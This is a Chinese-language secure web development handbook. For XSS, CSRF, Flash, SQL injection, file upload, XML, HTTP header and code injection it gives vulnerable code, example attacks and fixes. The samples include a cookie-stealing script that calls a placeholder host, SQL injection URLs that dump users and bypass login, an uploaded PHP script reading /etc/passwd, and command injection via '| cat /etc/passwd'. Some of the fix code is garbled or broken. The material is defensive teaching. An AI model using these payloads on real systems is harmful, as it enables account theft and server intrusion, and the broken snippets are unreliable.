web安全开发参考手册

1.客户端安全

1.1. 跨站脚本漏洞

1.1.1. 跨站脚本攻击说明

是由于程序员在编写程序时对用户输入的可控数据没有做充分的过滤或转义,直接把用 展现在页面中。当用户提交构造的脚本或 html 标签时,便会执行,这就是跨站脚本攻击。

1.1.1.1. 存储型跨站

用户可控数据内容长期存储于页面中,当用户输入脚本或 HTML 标签时,输入的数据 长期展示在页面中,也就形成了储型跨站脚本攻击。

1.1.1.2. 反射型跨站

在用户可控数据中,未长久保存于数据库中的数据,例如 URL 提交的参数,开发人员未 对参数做过滤或转码,导致前端直接展示相关数据,这样便形成了反射型跨站脚本漏洞。

1.1.1.3. Dom 型跨站

当使用文档对象模型来创建文档的时候,对用户可控数据没有做正确的编码输出,便会 出现 DOM 型跨站脚本漏洞

1.1.2. 跨站脚本示例

JAVA 代码示例

while(rs.next())
{
    %>
    <tr>
    <td><%=rs.getInt("id") %></td>
    <td><%=rs.getString("name")%></td>
    </tr>
    <%
}

PHP 代码示例

<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["name"]?></td>
</tr>

以上代码如果出现在京东某个应用中,当用户对 idname 提交

<script src=http://x.x/hacker.js></script>

hacker.js 文件内容:

<script>document.location="http://x.x/x.php?c="+document.cookie;</script>

当其他用户访问页面时,会执行远端 hacker.js 脚本,造成对其他用户的跨站脚本攻击。

1.1.3. 跨站脚本漏洞影响

恶意用户可以利用跨站脚本可以做到:

  1. 盗取用户 cookie,伪造用户身份登录
  2. 控制用户浏览器。
  3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
  4. 修改页面内容,产生钓鱼攻击效果。
  5. 蠕虫攻击。 在三种跨站脚本漏洞中影响相对最大的是存储型跨站脚本漏洞。

1.1.4. HTML 跨站脚本漏洞

当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站 脚本攻击 HTMl 跨站分为反射型和存储型两种,反射型跨站需要被动诱骗点击,而存储型只需要 打开页面即可触发危害较大 常见的出现此类问题的主要有留言板,论坛发帖回帖,博客系统,评论系统

1.1.4.1. 解决方案

在 HTML 中展示用户可控数据,应该进行 html escape 转义 JSP代码

<div>#escapeHTML($user.name) </div> <td>#escapeHTML($user.name)</td>

PHP代码

<div>htmlentities($row["user.name"])</div>

转义符号:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#39;

1.1.4.2. escapeHTML 函数参考 JAVA 代码类

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java

1.1.5. JavaScript 跨站脚本漏洞

当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站脚本攻击 JavaScript 跨站与 HTMl 跨站很多人会搞混,两者的区别在于 HTML 跨站插入恶意脚 本必须带有 HTML 标签或者带有 HTML 伪协议标签,过滤起来要比 JavaScript 跨站简单, JavaScript 跨站只需要插入鼠标事件即可触发此类漏洞。 JavaScript 跨站也分为存储型和反射型,造成的影响也不同,反射型跨站需要被动诱骗 点击,而存储型只需要打开页面即可触发危害较大

1.1.5.1. 解决方案

在 JAVASCRIPT 中展示用户可控数据,需要对用户可控数据做 javascript escape 转义。

1.1.5.2. escapeJavaScript 转义函数参考代码

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/JavaScriptCodec.java

1.1.6. JSON 跨站脚本漏洞

Json 回传数据自定义函数名时,函数名可以通过 UTF-7 编码或其他编码造成跨站脚本 攻击

Json 跨站与普通跨站区域别于格式,json 格式的匹配利用普通跨站代码很难实现,如果 http 传输设定为 json 必须通过 UTF-7 传输才能触发跨站漏洞,所以此类漏洞利用较难。

1.1.6.1. 解决方案

  1. Java 代码 response.setContentType(“appliaction/json”); 按照以上设置,http 返回头为 appliaction/json
  2. 对 callback=函数名做正则过滤
String.replaceAll(“[^\w\_"," ");
对函数名做严格过滤,只允许数字、大小写字母、下划线 以上方法可以彻底防御 json callback 跨站脚本攻击注:特殊情况下的 json 可在正则中放 宽相关字符,但是对于以下字符是严格禁止使用
'":;=|\/&%#{}[]?#$@!()+-. 

1.1.6.2. 参考代码

//http 传输设置为 json 类型,相关代码如下
response.setContentType("appliaction/json"); 
//对 Callback 参数,特殊字符采用过滤的方 法
public class CallbackXssUtil
{
public static String filter(String CallbackStr)
{
if(CallbackStr ==null || "".equals(CallbackStr))
{	return "";
}
CallbackStr = inputStr.replaceAll("[^\\w\\_\\.]"," ");	return CallbackStr;
}
}

1.1.7. URL 跨站脚本漏洞

当系统把用户可控数据放入 URL 中,并且把 URL 直接输出到前端 HTML 页面或页面 Javascript 时,用户可控数据便可以构造攻击脚本,这种攻击我们叫做 URL 跨站脚本攻击。 URL 跨站和 HTML、JavaScript 跨站有很多相似的地方,因为最终用户可控 URL 还是会 输出到 HTML 和 JavaScript 中,但是 URL 跨站和 HTML、JavaScript 跨站的解决方法是 不同的。 常见 URL 跨站如下:

http://www.example.com/?return=http://m.jd.com
http://id.example.com/?return=http://my.jd.com

1.1.7.1. 解决方案

URL 跨站脚本攻击不能过滤用户输入数据,因为过滤用户输入数据可能导致 URL 无法访 问,必须转义用户可控 URL,主要遵循以下转义方式

< =%3C
> = %3E
/ = %2F
? = %3F
@ =%40
' = %27
" = %22
\ = %5C

1.1.7.2. 参考实践代码

在 php 中以下实现方法

<?php 
function z_urlencode($urlstr)
{
    $httpStr = "http://";	
    $url= urlencode($urlstr);	
    return $httpStr.$url;
}
z_urlencode("www.360buy.com/index.action?start=1&stop=2");
?>

输出为 http://www.360buy.com%2Findex.action%3Fstart%3D1%26stop%3D2

Jsp 中可用以下方法实现

URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2");
<% java.net.URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2","UTF-8";%>

1.1.8. CSS 样式跨站脚本漏洞

在用户与服务器交互访问的情况下,当页面样式 CSS 中展示用户可控数据时,攻击者会在 所提交的 CSS 中插入脚本,导致浏览此页面的用户浏览器会执行插入的 JavaScript 脚本。 CSS 跨站出现场景一般多在博客系统、文章发布系统、公告系统、留言系统中出现,CSS 多现于存储型跨站,危害较大。

1.1.8.1. 解决方案

同样是要对用户数可控输入中 style 内容做 CSS escape 转义调用方法

1.1.8.2. 参考代码

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java

1.1.9. 副文本跨站脚本漏洞

web 应用程序在一些场合需要允许一些 Html 标签,和一些标签里的一些属性,如一些日志 发表的地方,书写文章的地方,由于开发者对安全认识的局限或者在自己进行的安全过滤时 考虑不周,都容易带来跨站脚本攻击,在一些 web2.0 站点甚至引发 Xss Worm。常规的一 些检测措施包括黑名单,白名单等等,但是都因为过滤得并不全面,很容易被绕过。其实有 另外一种过滤相对严格的方法,就是基于 Html 语 法分析的 filter,在满足应用的同时可以 最大限度保证程序的安全,一些过滤比较严谨的如 Yahoo Mail,Gmail 等等就是基于该原 理进行的过滤。

1.1.9.1. 解决方案

  1. 白名单模式过滤相关恶意跨站脚本

  2. 黑名单模式过滤相关恶意跨站脚本

1.2. URL 跳转漏洞

1.2.1. URL 跳转漏洞说明

由于应用越来越多的需要和其他的第三方应用交互,以及在自身应用内部根据不同的 逻辑将用户引向到不同的页面,所以 URL 跳转便出现在我们的应用中,当对所跳转的连接 没有做验证的情况下可能跳到任何一个网站,导致了安全问题的产生,这种问题就是 URL 跳转漏洞

1.2.2. 解决方案

  1. 对跳转地址进行检测,当跳转地址非本域地址,强制跳转到主站
  2. 在控制页面转向的地方校验传入的 URL 是否为可信域名 3、对传入跳转 URL 中字符‘@’进行过滤

1.2.3. 参考实践

暂缺

1.3. JSON 挟持漏洞

1.3.1. JSON 挟持漏洞说明

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,JSON 传输的数 据在两个不同的域,譬如对于大的互联网公司,代表了 A 应用的 A 域名想获取代表 B 应用 的 B 域名的数据时,由于在 javascript 里无法跨域获取数据,所以一般采取 script 标签的 方式获取数据,传入一些 callback 来获取最终的数据。这样导致非法网站也会调用相关接 口来实现数据的读取,导致了 json 传输数据的挟持

1.3.2. JSON 挟持实例

我们设定如下连接

http://my.jd.com/global/track.action?jsoncallback=func

这里就是我们前面提到的一个使用 json 传递数据,支持自定义 callback、跨域使用 script 方式获取数据的典型例子,我们来写一段简单的攻击代码:

这里 json 传递的数据是客户近期浏览商品的记录,攻击代码:

<script> function func(o){ alert(o.history[0].wid + '|' + o.history[0].wname);}</script>
<script src=http://my.jd.com/global/track.action?jsoncallback=func></script>

此攻击代码可以手机用户在京东的商品浏览历史。

1.3.3. JSON 挟持解决

  1. 验证 referer 来源,当非白名单域名,返回空信息
  2. 改变 JSON 传输格式,彻底杜绝此类漏洞(这种解决方案改动较大,对业务影响较大, 但是非常彻底);

1.3.4. 最佳实践参考代码

protected boolean invalidRefer() {
    String referer = request.getHeader("Referer");
    if (StringUtils.isEmpty(referer)) {
        return true;
    }
    try {
        if (referer.contains("?")) {
            referer = referer.substring(0, referer.indexOf("?"));
        }
        URI referUri = new URI(referer);
        String homeDomain = getText("login.success.page"); //白名单 String curDomain
        = referUri.getHost();
        if (curDomain.contains(homeDomain.substring(homeDomain.indexOf(".") + 1))) {
            return false;
        } else {
            return true;
        }
    } catch(Exception e) {
        log.error("--invalid uri--" + referer, e);
        return true;
    }
}

更多信息请参考

1.4. XSIO 攻击

1.4.1. XSIO 漏洞说明

XSIO 产生的原因是因为没有限制图片的 position 属性为 absolute 绝对定位图片的位 置,这就导致了可以把张图插入到整个页面的任意位置,包括网站的 banner,包括一个 link、一个 button,覆盖页面的连接,甚至覆盖整体页面,很显然这样的漏洞对安全造成了 极大的风险,例如网络钓鱼,非法广告,点击挟持等被诸多攻击方法。

1.4.2. XSIO 漏洞实例

当百度博客用户编辑文章时,加入如下代码,即可造成覆盖任意地方

</table>
<a   href="http://www.ph4nt0m.org">
<img src="http://img.baidu.com/hi/img/portraitn.jpg" style="position:absolute;left:123px;top:123px;">
</a>

1.4.3. XSIO 漏洞解决

  1. 如果对效果要求不高,建议过滤图片标签中 position 属性 absolute
  2. 如果对效果要求较高,不允许 position 属性设置为 absolute 参考最佳实践代码

1.5. Cross-site request forgery(跨站请求伪造)

1.5.1. CSRF 介绍

CSRF 的全称是 Cross-site request forgery,即跨站请求伪造,我们可以简单的理解这 种漏洞为,攻击者利用被攻击者的身份发起了某些被攻击者原本不知情的网络请求。包括以 被攻击者的身 份发布一条微博,以被攻击者的身份发布一条留言,以被攻击者的身份关注某 个用户的微博等。著名的微博蠕虫就是利用这种漏洞,造成了较大的影响

1.5.2. CSRF 实例

····
此处有图片!!!!粘贴到CF再加入
·····
···

首先构造如下 HTML 页面:

<html>
<body>
<img src= http://id.example.com/uc/login?ltype=logout>
</body>
<html>

页面连接设为:

http://www.hacker.com/xxx.html

并把页面连接加入到商品评论,诱使访问者点击

当用户访问京东网站,发现连接点击后,自动退出网站账号。

1.5.3. 解决方案

方法一(长久有效,彻底防御)

在与用户交互时,设置一个 CSRF 的随机 TOKEN,种植在用户的 cookie 中。
当用户 提交表单时,生成隐藏域
值为 COOKIE 中随机 TOKEN,用户提交表单后验证两处 token值,来判断是否为用户提交

方法二(临时防御,可以绕过)

验证用户提交数据的 refere 信息,当为提交页时,说明为用户提交,当为其他页面 时,说明为 csrf 攻击。

验证 refere 代码参考

此方法只应用于单一交互表单,只验证表单数据可用以下方法

String referer = request.getHeader("referer");
if (StringUtils.isEmpty(referer)) {
    return false;
}
if (validAddress(referer)) {
    popInfoService.savePopInf(popInfVo);
}
private boolean validAddress(String referer) {
    String refAddress = "http://xxxx.vipkid.com";
    String str = referer.substring(0, refAddress.length());
    if (refAddress.equals(str)) {
        return true;
    }
    return false;
}此方法适合放置全站,以防止csrf攻击,但会对性能有所影响,不建议使用protected boolean invalidRefer() {
    String referer = request.getHeader("Referer");
    if (StringUtils.isEmpty(referer)) {
        return true;}
        try {
            if (referer.contains("?")) {
                referer = referer.substring(0, referer.indexOf("?"));
            }
            URI referUri = new URI(referer);
            String domain = referUri.getHost();
            if (StringUtils.isNotBlank(domain) & amp; & amp; (domain.endsWith("vipkid.com.cn")) {
                return true;
            }
            return false;
        } catch(Exception e) {
            log.error("--invalid uri--" + referer, e);
            return true;
        }
    }

1.6. FLASH 安全

利用 flash 服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户 端的 flash 文件发起各种请求或者攻击客户端的页面。 FLASH 的安全问题主要有服务端的安全设计问题和客户端的 flash 安全两块

1.6.1. FLASH 客户端安全

1.6.1.1. 本地配置文件错误

客户端在嵌入 flash 文件的时候没有指定 flash 文件的客户端限制策略,导致嵌入在客 户端的 flash 文件可以访问 HTML 页面的 DOM 数或者发起跨域请求。 错误的配置文件

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0`name="Main" width="1000" height="600" align="middle" id="Main">
<embed flashvars="site=&sitename=" src=”http://a.com/xxx.swf” name="Main" allowscriptaccess="always"	type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>

例子中的 allowscriptaccess 选项为 always,这样的配置会使 flash 对于 html 的通讯也就是执行 javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本 域的 flash 与 html 通讯,建议设置为 never;例子中没有设置 allowNetworking 选项,需 要把 allowNetworking 设置为 none,因为 allowNetworking 在设置为 all(默认是)或 者是 internal 的情况下会存在发生 csrf 的风险,因为 flash 发起网络请求继承的是浏览器的 会话,而且会带上 session cookie 和本地 cookie。

1.6.1.2. 客户端安全配置规范

  1. 禁止设置 flash 的 allowscriptaccess 为 always,必须设置为 never,如果设 置为 SameDomain,需要客户可以上传的 flash 文件要在单独的一个域下。

  2. 设置 allowNetworking 选项为 none。

  3. 设置 allowfullscreen 选项为 false。

1.6.2. FLASH 服务端安全

1.6.2.1. 服务端配置错误-跨域访问

FLASH 配置文件 crossdomain.xml 介绍 flash 在跨域时唯一的限制策略就是 crossdomain.xml 文件,该文件限制了 flash 是否可以跨域读写数据以及允许从什么地方 跨域读写数据。错误配置如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它 域发起的。正确的配置

<cross-domain-policy>
    <allow-access-from domain="*.meipai.com"/>
</cross-domain-policy>

1.6.2.2. FLASH 开发规范

  1. 移除敏感信息确认没有包含像用户名、密码、SQL 查询或者其他认证信息在 swf 文件里 面,因为 swf 文件能够被简单的反编译而使信息泄露

  2. 客户端的验证客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端 和服务端都做一次验证,但是服务端的验证不能少

  3. 去除调试信息去除类似于"trace"和其他一些调试语句,因为他们能够暴露代码或数据的 功能,如下代码片段暴露了该段代码的验证功能:

If(checklogin)
    {
        Userlogin = ture;
    }
trace(“管理员验证成功”);

  1. 参数传入如果有加载外部数据的需求,尽量不要在 html 中用“params”标签或者是 querystring 这种形式来注入数据到 swf 文件中。可以的办法是通过 sever 端的一个 http 请求来得到参数。
  2. allowDomain() flash 文件如果有和其他 swf 文件通信的需求,需要在 swf 中配置 allowDomain()为 制定的来源,禁止用*符号来允许任意来源如下 AS 代码被严格禁止:
System.security.allowDomain("*");
loadMovie(param1,param2);
  1. ActionScript2.0 未初始化全局变量 AS2.0 中接受用户通过 FlashVars 和 Querystring 中传入的数据并放到全局变量空间 中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下 AS 代码片段所示: 如果用户在 GET 请求或者在 HTML 中作为一个对象参数将 userLoggedIn 设为 true, 如下所示:
http://www.xxxx.com/cn_ben/login.swf?Userlogin=ture

解决方案:AS2.0 使用_resolve 属性捕获未定义的变量或函数,如下所示:

// instantiate a new object 
var myObject: Object = new Object();

// define the    resolve 
function myObject.resolve = function(name) {
    return "未定义的变量";
  1. 加载调用外部文件当 FLASH 加载调用外部文件的时候需要过 滤掉里面的恶意内容, 主要有 metadata 里面的数据和 flash mp3 player 里的 Mp3 ID3 Data,可以引发 XSS 漏洞(使攻击者可以执行任意 javascript),如下代码片段所示:

this.createTextField("txtMetadata", this.getNextHighestDepth(), 10, 10, 500, 500);
txtMetadata.html = true;
var nc: NetConnection = new NetConnection();
nc.connect(null);
var ns: NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject: Object) {
    for (var propName: String in infoObject) {
        txtMetadata.htmlText += propName + " = " + infoObject[propName];
    }
};
ns.play("http://localhost/test.flv");

如果 test.flv 中包含了 js 代码将被执行;

onID3 = function() { my_text.htmlText= this.id3.author;};

8、禁止直接调用 ExternalInterface.call 来接受外部参数 ExternalInterface.call 可以直接调用客户端的 js 脚本,如下 as 代码片段所示:

Import flash.external.*;


……省略代码……
ExternalInterface.call(用户输入变量,用户数据参数);
……省略代码……

如果用户提交变量 eval,提交参数为任意 js 语句,那么用户提交的代码就会被执行。

2. 服务端安全

2.1. SQL 注入

2.1.1. SQL 注入说明

应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。 目前的数据库一般都是提供 api 以支持管理,应用使用底层开发语言如 Php,Java,asp, Python 与这些 api 进行通讯。对于数据库的操作,目前普遍使用一种 SQL 语言(Structured Query Language 语言,SQL 语言的功能包括查询、操纵、定义和控制,是 一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户指出 做什么而不需要指出怎么做),SQL 作为字符串通过 API 传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的 SQL 是合法的还是不合法的,它完全信任传入的数据,如果传入的 SQL 语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。

2.1.2. SQL 注入影响 恶意用户利用 SQL 注入可以做到:

  1. 可读取数据库中的库和表
  2. 可执行系统命令
  3. 可以修改任意文件
  4. 可以安装木马后门

2.1.3. SQL 注入示例

代码示例

以下PHP脚本的作用为检索数据库内的图书库存,该脚本存在SQL注入漏洞。

  <?php
    header('Content-Type:text/html;charset=UTF-8');
    $author = $_GET('author');
    $con = pg_connect("host=localhost dbname=book user=test password=test");
    $sqlstm = "SELECT id,title,author,publisher,date,price FROM books WHERE author = '$author' ORDER BY id";
    $rs = pg_query($con,$sqlstm);
   ?>

攻击实例

利用代码示例的代理,进行正常的检索

http://example.com/book/seach.php?author=xx

接下来让我们看一下针对此脚本的攻击方法。

  1. 错误消息导致的信息泄露
   http://example.com/book/seach.php?author='+and+cast((select +id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--

执行,页面报错:

   Waring:pg_query()[function_pg_query]Query failed ERROR:invalid input syntax for integer:admin:123456。

错误消息中显示了用户名和密码为admin:123456。这就是利用SQL注入攻击致使信息泄露的手段。该子查询查找user表中的第一条数据的id和pwd字段后,返回将两者以冒号相连。然后尝试将字符串转换为integer类型,但由于转换类型出错,页面显示了错误信息。因此,我们也要注意,不要将程序的内部错误显示在错误信息中。

  1. UNION SELECT导致的信息泄露

UNION SELECT 的作用为将两个SQL语句的检索结果求和。

执行以下URL

http://example.com/book/seach.php?author='+union+select+id,pwd,name,addr,null,null,null+from users--
书籍id 书名 作者名 出版社
admin 123456 jack 北京市XXXXXX。
test 123456 john 北京市XXXXXX。
example 123456 example 北京市

我们可以看到该语句查询出了user表的所有数据,再利用其他语句配合可将整个数据库打包下载,又被称为拖库攻击。

  1. 使用SQL注入绕过认证

    当登陆页面存在SQL注入漏洞时,认证处理将被绕过,从而导致在不知道密码的情况下能成功登陆应用。

    以下是一个用户登陆页面

   <html>
     <head>登陆</head>
     <body>
     <form action="login.php" method="POST">
      用户名<input type="text" name="id">

      密码<input type="text" name="pwd">

      <input type="submit" value="登陆">
     </form>
     </body>
   </html>

下面是接收用户名和密码后进行登陆处理的脚本。

   <?php
     session_start();
     header('Content-Type:text/html;charset=UTF-8');
     $id = @$_POST['id'];
     $pwd = @$_POST['pwd'];
     $con = pg_connect("host=localhost dbname=book user=test password=test");
     $sql="SELECT * FROM users WHERE id = '$id' and pwd='$pwd'";
     $rs = pg_query($con,$sql);
   ?>

正常情况下,登陆页面输入用户名admin和密码123456才能登陆成功。

但是假设攻击者在不知道密码的情况下输入' or ‘a’=‘a,这时登陆成功。

此时,拼接后的SQL语句如下。

SELECT * FROM users WHERE id='admin' and pwd = ' ' OR 'a'='a'

SQL语句的末尾被添加了OR ‘a’=‘a’,因此where语句始终保持成立状态。如果登陆页面存在SQL注入漏洞,就可能使密码输入框形同虚设。

  1. 其他攻击

    根据数据库引擎的不同,通过SQL注入还可能会达到以下效果。

3.1. 执行OS命令

3.2. 执行文件

3.3、编辑文件

3.4、通过HTTP请求攻击其他服务器

2.1.4. SQL 注入解决方法

解决 SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配 置使用最小权限原则。

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将 用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
  2. 对进入数据库的特殊字符(’”\尖括号&*;等)进行转义处理,或编码转换。
  3. 严格限制变量类型,比如整型变量就采用 intval()函数过滤,数据库中的存储字段必须对 应为 int 型。
  4. 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
  5. 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致 一些过滤模型被绕过。
  6. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从 而最大限度的减少注入攻击对数据库的危害。
  7. 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误 信息进行一些判断。
  8. 在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测,及时修补这些 SQL 注入漏洞。
  9. 确认 PHP 配置文件中的 magicquotesgpc 选项保持开启

参考:

xxxxxx

2.2. 上传漏洞

2.2.1. 常见上传漏洞

2.2.1.1. 上传漏洞说明

Web 应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩 展名成为用户可控数据,就会导致直接上传脚本木马到 web 服务器上,直接控制 web 服务 器。

2.2.1.2. 常见上传漏洞实例

代码示例

以下为用户上传图像文件的脚本。

  <body>
    <form action="recive.php" method="POST" enctype="multipart/form-data">
    文件<input type="file" name="imagfile">

    <input type="submit" value="上传">
  </body>

下面是接收文件后将其保存的脚本

  <?php
   $tmpfile = $_FILES["imagfile"]["tmp_name"];
   $tofile = $_FILES["imagfile"]["name"]
   move_uploaded_file($tmpfile,'imag'.$tofile)
  ?>

正常情况下,用户上传图像文件,并保存到服务器。

攻击实例

利用上面的代码,我们假设用户上传的不是图像文件,而是以下PHP脚本文件。

<?php
 system('/bin/cat /etc/passwd')
?>

这段PHP脚本的作用在于通过system函数调用系统命令cat来显示etc/passwd文件的内容。访问上传的文件,页面显示了etc/passwd文件的内容。由此可以知道上传的PHP脚本在服务器上被成功执行了。攻击者就能执行当前操作系统账号权限范围内的所有操作。

解决方案

  1. 检查上传文件扩展名白名单,不属于白名单内,不允许上传。

  2. 上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析php、jsp、asp等脚本语言的目录。

  3. 上传文件要保存的文件名和目录名由系统根据时间生成,不允许用户自定义。

2.4. XML 注入漏洞

XML injection,XML 注入漏洞。 XML 注入类似于 SQL 注入,XML 文件一般用作存储数据及配置,如果在修改或新增 数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致 XML 注入漏洞。

2.4.1. XML 注入示例

文件内有如下 XML 信息

<?xml version="1.0" encoding="UTF-8"?>
<USER ="guest">
<name>user</name>
<passwd>123</passwd>
</USER>
<USER role="admin">
<name>admin</name>
<passwd>1adtyr32e762t7te3</passwd>
</USER>
</xml>

当 guest 权限用户修改密码时提交如下信息

12345</passwd></USER><USER role="admin"> <name>admin</name><passwd>123456</passwd></USER><!---

XML 文件被修改为

<?xml version="1.0" encoding="UTF-8"?>
<USER rule="guest">
    <name>user</name> 
    <passwd>12345</passwd> 
</USER> 
<USER rule="admin"> <name>admin</name> <passwd>123456</passwd> 
</USER>
<!---</passwd>
</USER> 
<USER role="admin"> 
    <name>admin</name>
    <passwd>1adtyr32e762t7te3</passwd> 
</USER>

如以上信息所示,管理员的密码被修改。

2.4.2. XMl 注入解决方案 XML 注入主要预防手段是对 XML 中特殊字符做转码操作,按照以下转码规则

'\n’ - New Line 
'\r’ - Carriage return 
'\t’ - Tab

2.5. HTTP 协议头漏洞

超文本转移协议 (HTTP-Hypertext transfer protocol) 是一种详细规定了浏览器和万 维网服务器之间互相通信的规则,通过因特网传送万维网文档的数据传送协议。HTTP 协议本身有很多自己的特性,相关定义请参考 RFC2616。一些特征字会导致 HTTP 协议源 IP 的隐藏,一些构造的畸形请求会导致 HTTP 协议的错误。当强制终止 HTTP协议请求,并在请求后添加相关信息后,会导致添加的信息返回给客户端,最终导致修改返 回数据,此类漏洞叫 HTTP 协议头注入漏洞。

2.5.1. HTTP 协议头 X-Forwarded-For 伪造漏洞

2.5.1.1. X-Forwarded-For 伪造漏洞说明

X-Forwarded-For:简称 XFF 头,它代表客户端,也就是 HTTP 请求端真实的 IP,只 有在通过了 HTTP 代理或者负载均衡服务器时才会添加该项。它不是 RFC 中定义的标准请 求头信息,在 squid 缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如 下:

X-Forwarded-For: client1, proxy1, proxy2

对于客户端连接过来的 IP 我们在平时的日志分析,浏览信息记录,及数据分析会大量 的用到,甚至延伸到登录规则,注册规则,当用户自行在 HTTP 传输头中添加 X-Forwarded-For 字段,错误的判断程序会取得伪造的 IP,导致基于 IP 的日志分析失效, 导致依据来源IP判断权限的程序失效,所以对此类漏洞的防御尤为重要

2.5.1.2. X-Forwarded-For 伪造漏洞攻击事例

按照普通方式对于 XFF 的 IP 获取方式:

GET / HTTP/1.1 
Host: www.vipkid.com.cn 
User-Agent: XS/CC XSX/CC/2.0 BY CC 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1,255.255.255.255 Referer: anonymous 
Connection: keep-alive If-Modified-Since: Sun, 26 Jan 2014 09:46:07 GMT 
Cache-Control: max-age=0

记录 IP 为 127.0.0.1,造成来源 IP 伪造。

2.5.1.3. X-Forwarded-For 伪造漏洞解决

X-Forwarded-For 伪造根据网络结构不同分两种解决方法

  1. 当前端没有负载设备时,读取 X-Forwarded-For 头最后一个 ip
  2. 当前端有负载均衡 设备时,倒叙读取 X-Forwarded-For 头第一个非内网 IP。

2.5.2.1. HTTP 响应头注入漏洞说明

CRLF 说明 CRLF 就是回车(CR, ASCII 13, \r) 换行(LF, ASCII 10, \n)。 CR 和 LF 组合在一起即 CRLF。 Web 程序代码中把用户提交的参数未做过滤就直接输出到 HTTP 响应头 中,攻击者可以利用该漏洞来注入 HTTP 响应头,可以造成多种攻击、例如跨站和欺骗 用 户下载恶意可执行文件等攻击

2.5.2.2. HTTP 响应头注入漏洞攻击实例

此类漏洞最大的危害就是当插入回车换行符后,回车换行之后的数据会被回传回客户端, 导致了安全问题的产生,我们来看以下测试截图测试连接:

http://www.YYYYYYYYY.com/YYYYWeb/jsp/website/agentInvoke.jsp?agentid=%0D%0AX-foo:%20bar

2.5.2.3. HTTP 响应头注入漏洞解决方案

如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。 例如,当新行 传递到 header() 函数时,最新版本的 PHP 将生成一个警告并停止创建头文件。如果您的 PHP 版本能够阻止设置带有换行符的头文件,则其具备对 HTTP Response Splitting 的防 御能力。 代码层面常见的解决方案:

  1. 严格检查变量是否已经初始化
  2. 在设置 HTTP 响应头的代码中,过滤回车换行(%0d%0a、%0D%0A)字符
  3. 禁止 header()函数中的参数外界可控
  4. 不要使用有存在 bug 版本的 apache

2.6. 代码注入攻击

2.6.1. 代码注入攻击说明

web 应用代码中,允许接收用户输入一段代码,之后在 web 应用服务器上执行这段代 码,并返回给用户。由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控 制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至 可以直接控制数据库。

2.6.2. 危险函数

string system(string command, int &return_var)

    command 要执行的命令

    return_var 存放执行命令的执行后的状态值

string exec (string command, array &output, int &return_var)

    command 要执行的命令

    output 获得执行命令输出的每一行字符串

    return_var 存放执行命令后的状态值

void passthru (string command, int &return_var)

    command 要执行的命令

    return_var 存放执行命令后的状态值

    string shell_exec (string command)

    command 要执行的命令
    

2.6.2. 漏洞实例

2.6.2.1 system()注入攻击

例1:

//ex1.php 
$dir = $_GET["dir"]; 
if (isset($dir)) 
{ 
    echo ""; 
    dump(system("ls -al ".$dir)); 
    echo ""; 
} 
?> 

我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd

提交以后,命令变成了 system(“ls -al | cat /etc/passwd”);

2.6.2.2 eval注入攻击

eval函数将输入的字符串参数当作PHP程序代码来执行

函数原型:

mixed eval(string code_str)

//eval注入一般发生在攻击者能控制输入的字符串的时候

//ex2.php 
$var = "var"; 
if (isset($_GET["arg"])) 
{ 
$arg = $_GET["arg"]; 
eval("\$var = $arg;"); 
echo "\$var =".$var; 
} 
?> 

当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;

动态函数

<?php 
func A() 
{ 
dosomething(); 
} 
func B() 
{ 
dosomething(); 
} 
